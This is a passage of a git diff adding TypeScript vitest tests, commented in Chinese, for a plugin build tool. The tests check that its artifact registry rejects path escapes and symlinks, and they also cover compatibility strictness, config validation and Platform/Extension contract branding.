+export interface DocumentReport { + readonly platform: PlatformId; + readonly id: string; + readonly path: string; + readonly format: DocumentFormat; + readonly owner: `platform:${string}`; +} + +/** CLI、JSON 输出、Watch 状态与公开运行时共享的 Schema v1 构建结果。 */ export interface BuildResult { - project?: PluginProject; - report: BuildReport; + readonly schemaVersion: '1'; + readonly command: BuildCommand; + readonly success: boolean; + readonly committed: boolean; + readonly platforms: readonly PlatformId[]; + readonly platformDetails: readonly PlatformReport[]; + readonly components: readonly ComponentReport[]; + readonly extensions: readonly ExtensionReport[]; + readonly documents: readonly DocumentReport[]; + readonly deliveryUnits: readonly DeliveryUnitReport[]; + readonly diagnostics: readonly Diagnostic[]; + readonly compatibility: readonly CompatibilityEntry[]; + readonly metadata: readonly MetadataDispositionEntry[]; } diff --git a/packages/core/test/artifacts.test.ts b/packages/core/test/artifacts.test.ts new file mode 100644 index 0000000..32113c0 --- /dev/null +++ b/packages/core/test/artifacts.test.ts @@ -0,0 +1,125 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { ArtifactRegistry, bytesArtifact } from '../src/index.js'; + +/** Artifact Registry 测试创建并统一清理的临时目录。 */ +const temporaryDirectories: string[] = []; + +/** @returns 已登记清理的 Artifact 来源根目录。 */ +async function temporaryRoot(): Promise { + /** 当前测试独占的临时来源根。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-artifacts-test-')); + temporaryDirectories.push(root); + return root; +} + +afterEach(async () => { + await Promise.all(temporaryDirectories.splice(0).map(directory => fs.rm(directory, { recursive: true, force: true }))); +}); + +describe('Artifact Registry', () => { + it('snapshots bytes, computes metadata, and does not expose mutable content', async () => { + /** 调用方在 add 后仍会修改的原始字节。 */ + const inputBytes = new Uint8Array([1, 2, 3]); + /** 完成 owner、mode、size 与 hash 的 Artifact。 */ + const registry = new ArtifactRegistry(new Map()); + /** Registry 接管字节后生成的不可变 Artifact。 */ + const artifact = await registry.add('platform:test', bytesArtifact('config/data.bin', inputBytes)); + inputBytes[0] = 9; + /** getter 返回且随后被调用方修改的隔离副本。 */ + const exposed = artifact.source.type === 'bytes' ? artifact.source.value : new Uint8Array(); + exposed[1] = 9; + + expect(artifact).toEqual(expect.objectContaining({ owner: 'platform:test', mode: 0o644, size: 3 })); + expect(artifact.sha256).toHaveLength(64); + expect(artifact.source.type === 'bytes' ? [...artifact.source.value] : []).toEqual([1, 2, 3]); + expect(Object.isFrozen(artifact)).toBe(true); + expect(Object.isFrozen(registry.artifacts)).toBe(true); + }); + + it('rejects absolute, escaping, case, Unicode, and file-directory path conflicts', async () => { + /** 当前冲突测试的独立 Registry。 */ + const registry = new ArtifactRegistry(new Map()); + await registry.add('platform:test', bytesArtifact('Assets/Café.txt', 'first')); + + await expect(registry.add('extension:test', bytesArtifact('assets/Cafe\u0301.txt', 'second'))).rejects.toThrow('collision'); + await expect(registry.add('extension:test', bytesArtifact('Assets/Café.txt/child', 'child'))).rejects.toThrow('file/directory'); + await expect(registry.add('extension:test', bytesArtifact('../escape', 'escape'))).rejects.toThrow('escapes'); + await expect(registry.add('extension:test', bytesArtifact('safe/../collapsed', 'escape'))).rejects.toThrow('parent-directory'); + await expect(registry.add('extension:test', bytesArtifact('/absolute', 'absolute'))).rejects.toThrow('relative'); + await expect(registry.add('extension:test', bytesArtifact('windows\\path', 'windows'))).rejects.toThrow('POSIX'); + await expect(registry.add('extension:test', bytesArtifact('nul\0path', 'nul'))).rejects.toThrow('NUL'); + }); + + it('derives file mode and rejects outside or symlinked sources without retaining paths', async () => { + /** Registry 允许读取的可信文件来源根。 */ + const root = await temporaryRoot(); + /** 可信根之外的文件来源。 */ + const outside = await temporaryRoot(); + await fs.writeFile(path.join(outside, 'outside.txt'), 'outside'); + /** 具有任意执行位、应收敛为 0755 的可信文件。 */ + const executable = path.join(root, 'tool'); + await fs.writeFile(executable, 'tool'); + await fs.chmod(executable, 0o711); + /** 指向可信根外部目录的中间符号链接。 */ + await fs.symlink(outside, path.join(root, 'linked')); + /** 当前文件来源测试 Registry。 */ + const registry = new ArtifactRegistry(new Map([ + ['platform:test', { roots: [root] }], + ])); + + await expect(registry.add('platform:test', { + path: 'retry.txt', + source: { type: 'file', path: path.join(outside, 'outside.txt') }, + })).rejects.toThrow('outside allowed roots'); + await expect(registry.add('platform:test', { + path: 'linked.txt', + source: { type: 'file', path: path.join(root, 'linked', 'outside.txt') }, + })).rejects.toThrow('symbolic links'); + /** 失败后的同路径重试必须可以正常加入。 */ + const retry = await registry.add('platform:test', bytesArtifact('retry.txt', 'safe')); + /** 未显式提供 mode 时从源文件执行位推导。 */ + const file = await registry.add('platform:test', { path: 'bin/tool', source: { type: 'file', path: executable } }); + expect(retry.size).toBe(4); + expect(file.mode).toBe(0o755); + }); + + it('isolates scanned project files and Extension work directories by Artifact owner', async () => { + /** 模拟 Scanner 已确认的 Component 文件所在工程。 */ + const projectRoot = await temporaryRoot(); + /** 唯一进入精确文件授权表的已扫描 Component。 */ + const scannedFile = path.join(projectRoot, 'src/skills/review/SKILL.md'); + /** 与已扫描文件同属工程、但没有被 Scanner 发现的任意文件。 */ + const unscannedFile = path.join(projectRoot, 'private.txt'); + await fs.mkdir(path.dirname(scannedFile), { recursive: true }); + await fs.writeFile(scannedFile, 'scanned'); + await fs.writeFile(unscannedFile, 'private'); + /** 两个 Extension 彼此隔离且不得交叉读取的工作目录。 */ + const extensionA = await temporaryRoot(); + /** 与 Extension A 隔离的第二个工作目录。 */ + const extensionB = await temporaryRoot(); + /** 仅由 Extension B 创建的本地产物。 */ + const extensionBFile = path.join(extensionB, 'built.txt'); + await fs.writeFile(extensionBFile, 'extension-b'); + /** 按完整 owner 限定精确文件或独占目录的 Registry。 */ + const registry = new ArtifactRegistry(new Map([ + ['platform:test', { files: [{ path: scannedFile, root: projectRoot }] }], + ['extension:a', { roots: [extensionA] }], + ['extension:b', { roots: [extensionB] }], + ])); + + await expect(registry.add('platform:test', { + path: 'private.txt', source: { type: 'file', path: unscannedFile }, + })).rejects.toThrow('outside allowed roots'); + await expect(registry.add('extension:a', { + path: 'stolen.txt', source: { type: 'file', path: extensionBFile }, + })).rejects.toThrow('outside allowed roots'); + /** 精确授权的扫描文件仍可由对应 Platform 正常产出。 */ + const scanned = await registry.add('platform:test', { + path: 'skills/review/SKILL.md', source: { type: 'file', path: scannedFile }, + }); + expect(scanned.owner).toBe('platform:test'); + }); +}); diff --git a/packages/core/test/compatibility.test.ts b/packages/core/test/compatibility.test.ts new file mode 100644 index 0000000..a26b816 --- /dev/null +++ b/packages/core/test/compatibility.test.ts @@ -0,0 +1,131 @@ +import { describe, expect, it } from 'vitest'; +import { + CompatibilityCollector, + DiagnosticCollector, + internalPlatformId, + MetadataDispositionCollector, +} from '../src/index.js'; + +/** 兼容性和元数据测试共用的 Codex 开放 PlatformId。 */ +const CODEX_PLATFORM = internalPlatformId('codex'); + +describe('compatibility collector', () => { + it('orders levels and propagates the worst dependency with a complete cause chain', () => { + /** 以故意打乱的顺序加入原始 Subject 兼容性。 */ + const compatibility = new CompatibilityCollector(); + compatibility.addAll([ + { platform: CODEX_PLATFORM, subject: 'skill:b', capability: 'component', level: 'native', reason: 'Native Skill.' }, + { platform: CODEX_PLATFORM, subject: 'agent:c', capability: 'component', level: 'unsupported', reason: 'Agent unavailable.' }, + { platform: CODEX_PLATFORM, subject: 'command:a', capability: 'component', level: 'native', reason: 'Native Command.' }, + { platform: CODEX_PLATFORM, subject: 'skill:d', capability: 'component', level: 'transform', reason: 'Semantic transform.' }, + ]); + compatibility.propagateDependencies([ + { subject: 'command:a', dependsOn: ['skill:b'] }, + { subject: 'skill:b', dependsOn: ['agent:c'] }, + ]); + + expect(compatibility.entries.map(entry => entry.level)).toEqual([ + 'unsupported', 'native', 'unsupported', 'native', 'unsupported', 'transform', + ]); + expect(compatibility.entries).toContainEqual(expect.objectContaining({ + subject: 'command:a', level: 'unsupported', causes: ['skill:b', 'agent:c'], + })); + expect(compatibility.entries).toContainEqual(expect.objectContaining({ + subject: 'skill:b', level: 'unsupported', causes: ['agent:c'], + })); + }); + + it('relaxes only functional compatibility while structural errors still fail', () => { + /** 同时接收结构错误和 relaxed compatibility warning 的诊断集合。 */ + const diagnostics = new DiagnosticCollector(); + diagnostics.error('SCHEMA_INVALID', 'A required field is invalid.', { phase: 'scan' }); + /** 当前 Platform 的单项降级结论。 */ + const compatibility = new CompatibilityCollector(); + compatibility.add({ + platform: CODEX_PLATFORM, + subject: 'agent:reviewer', + capability: 'model', + level: 'degraded', + reason: 'The model constraint is not preserved.', + }); + compatibility.applyStrictness(diagnostics, { id: CODEX_PLATFORM, strict: false }); + + expect(diagnostics.hasErrors).toBe(true); + expect(diagnostics.diagnostics).toContainEqual(expect.objectContaining({ code: 'SCHEMA_INVALID', severity: 'error' })); + expect(diagnostics.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_RELAXED', severity: 'warning' })); + }); + + it('accepts native and transform in strict mode but rejects degraded and unsupported', () => { + /** 严格模式下接收全部四个兼容性等级的诊断集合。 */ + const diagnostics = new DiagnosticCollector(); + /** 覆盖四个有序等级的兼容性集合。 */ + const compatibility = new CompatibilityCollector(); + compatibility.addAll([ + { platform: CODEX_PLATFORM, subject: 'skill:native', capability: 'component', level: 'native', reason: 'Native.' }, + { platform: CODEX_PLATFORM, subject: 'command:transform', capability: 'component', level: 'transform', reason: 'Transformed.' }, + { platform: CODEX_PLATFORM, subject: 'agent:degraded', capability: 'component', level: 'degraded', reason: 'Degraded.' }, + { platform: CODEX_PLATFORM, subject: 'hook:unsupported', capability: 'component', level: 'unsupported', reason: 'Unsupported.' }, + ]); + compatibility.applyStrictness(diagnostics, { id: CODEX_PLATFORM, strict: true }); + + expect(diagnostics.diagnostics.filter(item => item.code === 'COMPATIBILITY_STRICT')).toHaveLength(2); + }); + + it('applies strictness to generate checkpoints and dependency propagation without duplicating earlier conclusions', () => { + /** 模拟 prepare/Adapter、generateBundle 和依赖传播共用的兼容性集合。 */ + const compatibility = new CompatibilityCollector(); + /** 严格与宽松 Platform 分别验证 error 和 warning。 */ + const strictDiagnostics = new DiagnosticCollector(); + /** relaxed checkpoint 只应收到新结论对应的 warning。 */ + const relaxedDiagnostics = new DiagnosticCollector(); + compatibility.addAll([ + { platform: CODEX_PLATFORM, subject: 'skill:dependency', capability: 'component', level: 'unsupported', reason: 'Dependency unsupported.' }, + { platform: CODEX_PLATFORM, subject: 'command:consumer', capability: 'component', level: 'native', reason: 'Command supported.' }, + ]); + compatibility.applyStrictness(strictDiagnostics, { id: CODEX_PLATFORM, strict: true }); + /** generateBundle 开始前的 checkpoint。 */ + const generateStart = compatibility.size; + compatibility.add({ + platform: CODEX_PLATFORM, + subject: 'bundle:plugin', + capability: 'packaging', + level: 'degraded', + reason: 'Bundle packaging degraded.', + }); + compatibility.applyStrictness(strictDiagnostics, { id: CODEX_PLATFORM, strict: true }, generateStart); + compatibility.applyStrictness(relaxedDiagnostics, { id: CODEX_PLATFORM, strict: false }, generateStart); + /** 依赖传播开始前的 checkpoint。 */ + const propagationStart = compatibility.size; + compatibility.propagateDependencies([ + { subject: 'command:consumer', dependsOn: ['skill:dependency'] }, + ]); + compatibility.applyStrictness(strictDiagnostics, { id: CODEX_PLATFORM, strict: true }, propagationStart); + compatibility.applyStrictness(relaxedDiagnostics, { id: CODEX_PLATFORM, strict: false }, propagationStart); + + expect(strictDiagnostics.diagnostics.filter(item => item.code === 'COMPATIBILITY_STRICT')).toHaveLength(3); + expect(strictDiagnostics.diagnostics).toContainEqual(expect.objectContaining({ message: expect.stringContaining('bundle:plugin') })); + expect(strictDiagnostics.diagnostics).toContainEqual(expect.objectContaining({ message: expect.stringContaining('command:consumer') })); + expect(relaxedDiagnostics.diagnostics.filter(item => item.code === 'COMPATIBILITY_RELAXED')).toHaveLength(2); + }); +}); + +describe('metadata disposition collector', () => { + it('reports omitted fields as warnings without failing strict feature compatibility', () => { + /** 元数据 warning 和功能 strictness 共用的诊断集合。 */ + const diagnostics = new DiagnosticCollector(); + /** 记录 emitted 与 omitted 字段去向的 Collector。 */ + const metadata = new MetadataDispositionCollector(diagnostics); + metadata.add({ platform: CODEX_PLATFORM, field: 'name', disposition: 'emitted', output: 'manifest.name', reason: 'Supported.' }); + metadata.add({ platform: CODEX_PLATFORM, field: 'author.url', disposition: 'omitted', reason: 'The platform has no field.' }); + /** 只有完整支持条目的严格功能 Collector。 */ + const compatibility = new CompatibilityCollector(); + compatibility.add({ platform: CODEX_PLATFORM, subject: 'skill:hello', capability: 'component', level: 'native', reason: 'Supported.' }); + compatibility.applyStrictness(diagnostics, { id: CODEX_PLATFORM, strict: true }); + + expect(diagnostics.hasErrors).toBe(false); + expect(diagnostics.diagnostics).toContainEqual(expect.objectContaining({ + code: 'METADATA_OMITTED', severity: 'warning', fieldPath: ['author.url'], + })); + expect(metadata.entries.map(entry => entry.field)).toEqual(['author.url', 'name']); + }); +}); diff --git a/packages/core/test/config.test.ts b/packages/core/test/config.test.ts new file mode 100644 index 0000000..7aac511 --- /dev/null +++ b/packages/core/test/config.test.ts @@ -0,0 +1,182 @@ +import path from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { + defineExtension, + definePlatform, + resolveConfig, + type AcpluginPlatform, + type UserConfig, +} from '../src/index.js'; + +/** + * 创建配置测试使用的最小品牌化 Platform。 + * + * @param id 开放 Platform ID。 + * @param strict 可选的平台级严格度覆盖。 + * @returns 不产生实际 Artifact 的测试 Platform。 + */ +function platform(id: string, strict?: boolean): AcpluginPlatform { + return definePlatform({ + id, + apiVersion: '1', + deliveryType: 'plugin', + ...(strict === undefined ? {} : { strict }), + /** 配置测试不创建初始 Draft。 */ + prepare: () => ({ documents: [], artifacts: [] }), + /** 配置测试只声明最小主交付单元。 */ + generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), + /** 配置测试不执行候选校验。 */ + validateBundle: () => undefined, + }); +} + +/** Core 配置测试模拟主包注入的默认 Platform 工厂结果。 */ +const defaults = [platform('claude-code'), platform('codex')]; + +/** + * 使用固定工程根和默认 Platform 解析配置。 + * + * @param value 最终 acplugin.config.ts 对象。 + * @returns Core 的配置或诊断结果。 + */ +function resolve(value: UserConfig): ReturnType { + return resolveConfig(value, path.join('/project', 'acplugin.config.ts'), 'build', 'production', { defaultPlatforms: defaults }); +} + +describe('final configuration schema', () => { + it('resolves complete metadata, Public, strict overrides, Platforms, and Extensions', () => { + /** 显式配置且覆盖全局 strict 的第三方 Platform。 */ + const community = platform('community', true); + /** 最小品牌化第三方 Extension。 */ + const extension = defineExtension({ name: 'community-extension', apiVersion: '1', adapters: [] }); + /** 覆盖规范配置示例各主要字段的解析结果。 */ + const result = resolve({ + name: 'release-tools', + version: '1.2.3', + description: ' Release workflow tools. ', + displayName: 'Release Tools', + author: { name: 'TokenRoll', email: 'team@example.com', url: 'https://github.com/TokenRollAI' }, + homepage: 'https://example.com/release-tools', + repository: 'https://github.com/TokenRollAI/release-tools', + license: 'MIT OR Apache-2.0', + keywords: [' release ', 'review'], + srcDir: 'source', + public: { dir: 'assets', copy: [{ from: 'shared', to: 'shared' }] }, + platforms: [community], + extensions: [extension], + build: { outDir: 'output', strict: false }, + }); + + expect(result.diagnostics).toEqual([]); + expect(result.config?.metadata).toEqual({ + name: 'release-tools', + version: '1.2.3', + description: 'Release workflow tools.', + displayName: 'Release Tools', + author: { name: 'TokenRoll', email: 'team@example.com', url: 'https://github.com/TokenRollAI' }, + homepage: 'https://example.com/release-tools', + repository: 'https://github.com/TokenRollAI/release-tools', + license: 'MIT OR Apache-2.0', + keywords: ['release', 'review'], + }); + expect(result.config?.platforms).toEqual([{ platform: community, strict: true }]); + expect(result.config?.extensions).toEqual([extension]); + expect(result.config?.public.copy).toEqual([{ from: 'shared', to: 'shared' }]); + }); + + it('injects defaults only when platforms is omitted and applies build strictness', () => { + /** 省略 platforms 且关闭全局 strict 的配置结果。 */ + const result = resolve({ + name: 'default-platforms', + version: '1.0.0', + description: 'Default Platforms.', + build: { strict: false }, + }); + + expect(result.config?.platforms.map(item => ({ id: item.platform.id, strict: item.strict }))).toEqual([ + { id: 'claude-code', strict: false }, + { id: 'codex', strict: false }, + ]); + }); + + it('rejects empty, duplicate, forged, and API-incompatible Platform instances', () => { + /** 同一实例重复出现时用于验证 ID 唯一性的 Platform。 */ + const duplicate = platform('duplicate'); + /** 把多个独立 Platform 错误汇总在一次解析中的配置。 */ + const result = resolve({ + name: 'invalid-platforms', + version: '1.0.0', + description: 'Invalid Platforms.', + platforms: [ + duplicate, + duplicate, + { id: 'fake', apiVersion: '1', deliveryType: 'plugin', strict: true } as never, + { id: 'future', apiVersion: '2', deliveryType: 'plugin', strict: true } as never, + ], + }); + /** 显式空数组必须完整替换默认值并因此失败。 */ + const empty = resolve({ + name: 'empty-platforms', version: '1.0.0', description: 'Empty.', platforms: [], + }); + + expect(result.diagnostics.map(item => item.code)).toEqual(expect.arrayContaining([ + 'CONFIG_PLATFORM_DUPLICATE', + 'CONFIG_PLATFORM_INVALID', + 'CONFIG_PLATFORM_API_INCOMPATIBLE', + ])); + expect(empty.diagnostics).toContainEqual(expect.objectContaining({ code: 'CONFIG_PLATFORMS_EMPTY' })); + }); + + it('rejects duplicate, forged, and API-incompatible Extensions', () => { + /** 同一 Extension 重复出现时用于验证名称唯一性的实例。 */ + const duplicate = defineExtension({ name: 'duplicate-extension', apiVersion: '1', adapters: [] }); + /** 汇总三类 Extension 配置错误的结果。 */ + const result = resolve({ + name: 'invalid-extensions', + version: '1.0.0', + description: 'Invalid Extensions.', + extensions: [ + duplicate, + duplicate, + { name: 'fake-extension', apiVersion: '1', adapters: [] } as never, + { name: 'future-extension', apiVersion: '2', adapters: [] } as never, + ], + }); + + expect(result.diagnostics.map(item => item.code)).toEqual(expect.arrayContaining([ + 'CONFIG_EXTENSION_DUPLICATE', + 'CONFIG_EXTENSION_INVALID', + 'CONFIG_EXTENSION_API_INCOMPATIBLE', + ])); + }); + + it('validates author, URL, SPDX, keywords, and directory boundaries independently', () => { + /** 每个可选元数据和路径规则均非法的聚合配置。 */ + const result = resolve({ + name: 'invalid-fields', + version: '1.0.0', + description: 'Invalid fields.', + author: { name: '', email: 'invalid', url: 'file:///tmp/author' }, + homepage: '/relative', + repository: 'git@example.com:repo.git', + license: 'Definitely Not SPDX', + keywords: ['duplicate', ' duplicate ', ''], + srcDir: '/outside/source', + public: { dir: 'source/public' }, + build: { outDir: '../output' }, + }); + + expect(result.diagnostics.map(item => item.code)).toEqual(expect.arrayContaining([ + 'CONFIG_AUTHOR_NAME_INVALID', + 'CONFIG_AUTHOR_EMAIL_INVALID', + 'CONFIG_AUTHOR_URL_INVALID', + 'CONFIG_HOMEPAGE_INVALID', + 'CONFIG_REPOSITORY_INVALID', + 'CONFIG_LICENSE_INVALID', + 'CONFIG_KEYWORD_DUPLICATE', + 'CONFIG_KEYWORD_INVALID', + 'CONFIG_PATH_ABSOLUTE', + 'CONFIG_PATH_ESCAPE', + ])); + }); +}); diff --git a/packages/core/test/contracts.test.ts b/packages/core/test/contracts.test.ts new file mode 100644 index 0000000..0d6c383 --- /dev/null +++ b/packages/core/test/contracts.test.ts @@ -0,0 +1,144 @@ +import { describe, expect, it } from 'vitest'; +import { + defineExtension, + definePlatform, + isAcpluginExtension, + isAcpluginPlatform, + type AcpluginPlatform, + type ExtensionPlatformAdapter, +} from '../src/index.js'; + +/** + * 创建品牌与版本测试共用的最小第三方 Platform。 + * + * @returns 通过公开工厂构造的可安装 Plugin Platform。 + */ +function thirdPartyPlatform(): AcpluginPlatform { + return definePlatform({ + id: 'third-party', + apiVersion: '1', + deliveryType: 'plugin', + strict: true, + /** 创建不含 Document 与 Artifact 的初始 Draft。 */ + prepare: () => ({ documents: [], artifacts: [] }), + /** 创建最小主 Plugin DeliveryUnit。 */ + generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] } as const), + /** 最小 Platform 不需要附加候选校验。 */ + validateBundle: () => undefined, + }); +} + +describe('Platform contract', () => { + it('brands and freezes factory results while rejecting shape-compatible objects', () => { + /** 公开工厂生成的有效第三方 Platform。 */ + const platform = thirdPartyPlatform(); + /** 具有相同公共字段但缺少私有 Symbol 的伪造对象。 */ + const fake = { + id: 'third-party', + apiVersion: '1', + deliveryType: 'plugin', + strict: true, + /** prepare 提供当前对象协议要求的回调实现。 */ prepare: () => ({ documents: [], artifacts: [] }), + /** generateBundle 提供当前对象协议要求的回调实现。 */ generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] } as const), + /** validateBundle 提供当前对象协议要求的回调实现。 */ validateBundle: () => undefined, + }; + + expect(isAcpluginPlatform(platform)).toBe(true); + expect(isAcpluginPlatform(fake)).toBe(false); + expect(Object.isFrozen(platform)).toBe(true); + }); + + it('rejects invalid ids and unsupported API versions at runtime', () => { + /** 用于验证运行时版本守卫的最小定义。 */ + const definition = { + id: 'third-party', + apiVersion: '1', + deliveryType: 'plugin', + strict: true, + /** prepare 提供当前对象协议要求的回调实现。 */ prepare: () => ({ documents: [], artifacts: [] }), + /** generateBundle 提供当前对象协议要求的回调实现。 */ generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] } as const), + /** validateBundle 提供当前对象协议要求的回调实现。 */ validateBundle: () => undefined, + } as const; + + expect(() => definePlatform({ ...definition, id: 'Third Party' })).toThrow('lowercase kebab-case'); + expect(() => definePlatform({ ...definition, apiVersion: '2' } as never)).toThrow('Unsupported Platform API version'); + }); + + it('copies and deeply freezes JSON-only Platform options', () => { + /** 配置作者仍持有并可能在工厂返回后修改的原始对象。 */ + const options = { marketplace: { policy: ['AVAILABLE'] } }; + /** 带 Platform 专属配置的第三方实例。 */ + const platform = definePlatform({ + ...thirdPartyPlatform(), + options, + }); + + options.marketplace.policy.push('PRIVATE'); + expect(platform.options).toEqual({ marketplace: { policy: ['AVAILABLE'] } }); + expect(Object.isFrozen(platform.options)).toBe(true); + expect(Object.isFrozen(platform.options!.marketplace)).toBe(true); + expect(() => definePlatform({ ...thirdPartyPlatform(), options: [] } as never)).toThrow('JSON object'); + expect(() => definePlatform({ + ...thirdPartyPlatform(), + options: { + /** invalid 提供当前对象协议要求的回调实现。 */ + invalid: () => undefined, + }, + } as never)).toThrow('JSON values'); + }); +}); + +describe('Extension contract', () => { + it('brands adapters with both API versions and rejects duplicate platform ownership', () => { + /** Extension Adapter 引用的第三方 Platform。 */ + const platform = thirdPartyPlatform(); + /** 正向 Bridge Adapter,显式声明 Extension 与 Platform API 版本。 */ + const adapter: ExtensionPlatformAdapter<{ readonly file: string }> = { + extensionApiVersion: '1', + platform: platform.id, + platformApiVersion: '1', + /** 最小 Adapter 不需要修改 Draft。 */ + apply: () => undefined, + }; + /** 使用泛型 Discovered/Built State 的有效第三方 Extension。 */ + const extension = defineExtension<{ readonly source: string }, { readonly file: string }>({ + name: 'third-party-extension', + apiVersion: '1', + /** 返回 Extension 自己拥有的发现状态。 */ + discover: () => ({ source: 'feature.ts' }), + /** 把发现状态转换为跨 Platform 共用的 Built State。 */ + build: (_context, discovered) => ({ file: discovered.source }), + adapters: [adapter], + }); + + expect(isAcpluginExtension(extension)).toBe(true); + expect(Object.isFrozen(extension)).toBe(true); + expect(Object.isFrozen(extension.adapters)).toBe(true); + expect(() => defineExtension({ + name: 'duplicate-extension', + apiVersion: '1', + adapters: [adapter, { ...adapter }], + })).toThrow('duplicate Adapter'); + }); + + it('rejects fake Extension objects and incompatible Adapter versions', () => { + /** Extension Adapter 引用的第三方 Platform。 */ + const platform = thirdPartyPlatform(); + /** 缺少私有 Extension Symbol 的普通对象。 */ + const fake = { name: 'fake', apiVersion: '1', adapters: [] }; + /** 通过 never 绕过静态检查,仅验证加载不可信配置时的运行时守卫。 */ + const incompatibleAdapter = { + extensionApiVersion: '1', + platform: platform.id, + platformApiVersion: '2', + /** apply 提供当前对象协议要求的回调实现。 */ apply: () => undefined, + } as never; + + expect(isAcpluginExtension(fake)).toBe(false); + expect(() => defineExtension({ + name: 'incompatible-extension', + apiVersion: '1', + adapters: [incompatibleAdapter], + })).toThrow('Unsupported Platform Adapter API version'); + }); +}); diff --git a/packages/core/test/contracts.types.ts b/packages/core/test/contracts.types.ts new file mode 100644 index 0000000..df0ef0f --- /dev/null +++ b/packages/core/test/contracts.types.ts @@ -0,0 +1,89 @@ +import { + defineExtension, + definePlatform, + type AcpluginPlatform, + type DraftDocument, + type ExtensionPlatformAdapter, + type PlatformAdapterContext, + type PlatformId, +} from '../src/index.js'; + +/** 第三方 Extension discover 阶段产生的示例状态。 */ +interface ExampleDiscoveredState { + readonly source: string; +} + +/** 第三方 Extension build 阶段产生的示例状态。 */ +interface ExampleBuiltState { + readonly output: string; +} + +/** + * 由 TypeScript 编译器验证第三方 Platform、Extension 和 Bridge Adapter 的正负契约。 + */ +export function verifyContractTypes(): void { + /** 正常第三方 Platform 无需修改 Core 的封闭联合类型。 */ + const platform = definePlatform({ + id: 'community-platform', + apiVersion: '1', + deliveryType: 'workspace', + strict: false, + /** prepare 提供当前对象协议要求的回调实现。 */ prepare: () => ({ documents: [], artifacts: [] }), + /** generateBundle 提供当前对象协议要求的回调实现。 */ generateBundle: () => ({ id: 'workspace', role: 'primary', type: 'workspace', artifacts: [] }), + /** validateBundle 提供当前对象协议要求的回调实现。 */ validateBundle: () => undefined, + }); + /** 正常 Bridge Adapter 同时绑定两个 API 版本。 */ + const adapter: ExtensionPlatformAdapter = { + extensionApiVersion: '1', + platform: platform.id, + platformApiVersion: '1', + /** apply 提供当前对象协议要求的回调实现。 */ apply: (context, built) => context.emitArtifact({ + path: built.output, + source: { type: 'bytes', value: new Uint8Array() }, + }), + }; + /** 正常第三方 Extension 可以保留显式 Discovered/Built State。 */ + const extension = defineExtension({ + name: 'community-extension', + apiVersion: '1', + /** discover 提供当前对象协议要求的回调实现。 */ discover: () => ({ source: 'extension.ts' }), + /** build 同时验证第三方 Extension 可登记自己的完整依赖图。 */ + build: (context, discovered) => { + context.addWatchFile('/absolute/extension.ts'); + return { output: discovered.source }; + }, + adapters: [adapter], + }); + + // @ts-expect-error 原始字符串没有经过 Platform 工厂,不能直接获得开放品牌。 + const rawPlatformId: PlatformId = 'community-platform'; + // @ts-expect-error 普通对象缺少 Core 私有的 Platform Symbol 品牌。 + const fakePlatform: AcpluginPlatform = { + id: platform.id, + apiVersion: '1', + deliveryType: 'workspace', + strict: false, + /** prepare 提供当前对象协议要求的回调实现。 */ prepare: () => ({ documents: [], artifacts: [] }), + /** generateBundle 提供当前对象协议要求的回调实现。 */ generateBundle: () => ({ id: 'workspace', role: 'primary', type: 'workspace', artifacts: [] }), + /** validateBundle 提供当前对象协议要求的回调实现。 */ validateBundle: () => undefined, + }; + /** API 版本错误的 Adapter 应由 TypeScript 在作者工程中提前拒绝。 */ + const wrongVersionAdapter: ExtensionPlatformAdapter = { + extensionApiVersion: '1', + platform: platform.id, + // @ts-expect-error Platform Adapter 必须声明当前 Platform API 版本。 + platformApiVersion: '2', + /** apply 提供当前对象协议要求的回调实现。 */ apply: () => undefined, + }; + /** 受限 Adapter Context 和只读 Draft 不允许访问内部写入、序列化或替换能力。 */ + const verifyRestrictedContext = (context: PlatformAdapterContext, document: DraftDocument): void => { + // @ts-expect-error Adapter 不获得最终输出目录。 + void context.outDir; + // @ts-expect-error Adapter 不获得 Platform 内部 Serializer。 + void context.serialize; + // @ts-expect-error DraftDocument 的结构化值不可被 Extension 原地替换。 + document.value = {}; + }; + + void [extension, rawPlatformId, fakePlatform, wrongVersionAdapter, verifyRestrictedContext]; +} diff --git a/packages/core/test/core.test.ts b/packages/core/test/core.test.ts index f61fc74..6ec1e5a 100644 --- a/packages/core/test/core.test.ts +++ b/packages/core/test/core.test.ts @@ -3,27 +3,62 @@ import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import { - ArtifactGraph, - buildProject, - bytesArtifact, - commitManagedOutput, DiagnosticCollector, - type AcpluginModule, - type Compiler, - type ManagedOutputPhase, - resolveConfig, + type AcpluginPlatform, + type BuildCommand, + type BuildMode, + definePlatform, + resolveConfig as resolveCoreConfig, scanProject, + type UserConfig, } from '../src/index.js'; /** 每个测试创建并在 afterEach 中统一删除的临时目录。 */ const temporaryDirectories: string[] = []; +/** + * 创建 Core 配置测试使用且不依赖私有官方包的最小 Platform。 + * + * @param id 开放的测试 Platform ID。 + * @returns 带私有品牌的最小 Plugin Platform。 + */ +function testPlatform(id: string): AcpluginPlatform { + return definePlatform({ + id, + apiVersion: '1', + deliveryType: 'plugin', + /** 配置测试不需要实际 Draft。 */ + prepare: () => ({ documents: [], artifacts: [] }), + /** 配置测试只需要最小主单元定义。 */ + generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), + /** 配置测试不执行候选内容校验。 */ + validateBundle: () => undefined, + }); +} + +/** Core 测试模拟主包注入的两个默认 Platform。 */ +const defaultPlatforms = [testPlatform('claude-code'), testPlatform('codex')]; + +/** + * 使用测试默认 Platform 调用最终 Core 配置解析器。 + * + * @param value 用户配置候选。 + * @param configPath 配置入口路径。 + * @param command 当前构建命令。 + * @param mode 当前运行模式。 + * @returns 最终配置或稳定诊断。 + */ +function resolveConfig(value: UserConfig, configPath: string, command: BuildCommand, mode: BuildMode): ReturnType { + return resolveCoreConfig(value, configPath, command, mode, { defaultPlatforms }); +} + /** * 创建当前 Core 测试独占的临时工程目录。 * * @returns 自动登记清理的绝对目录路径。 */ async function temporaryProject(): Promise { + /** 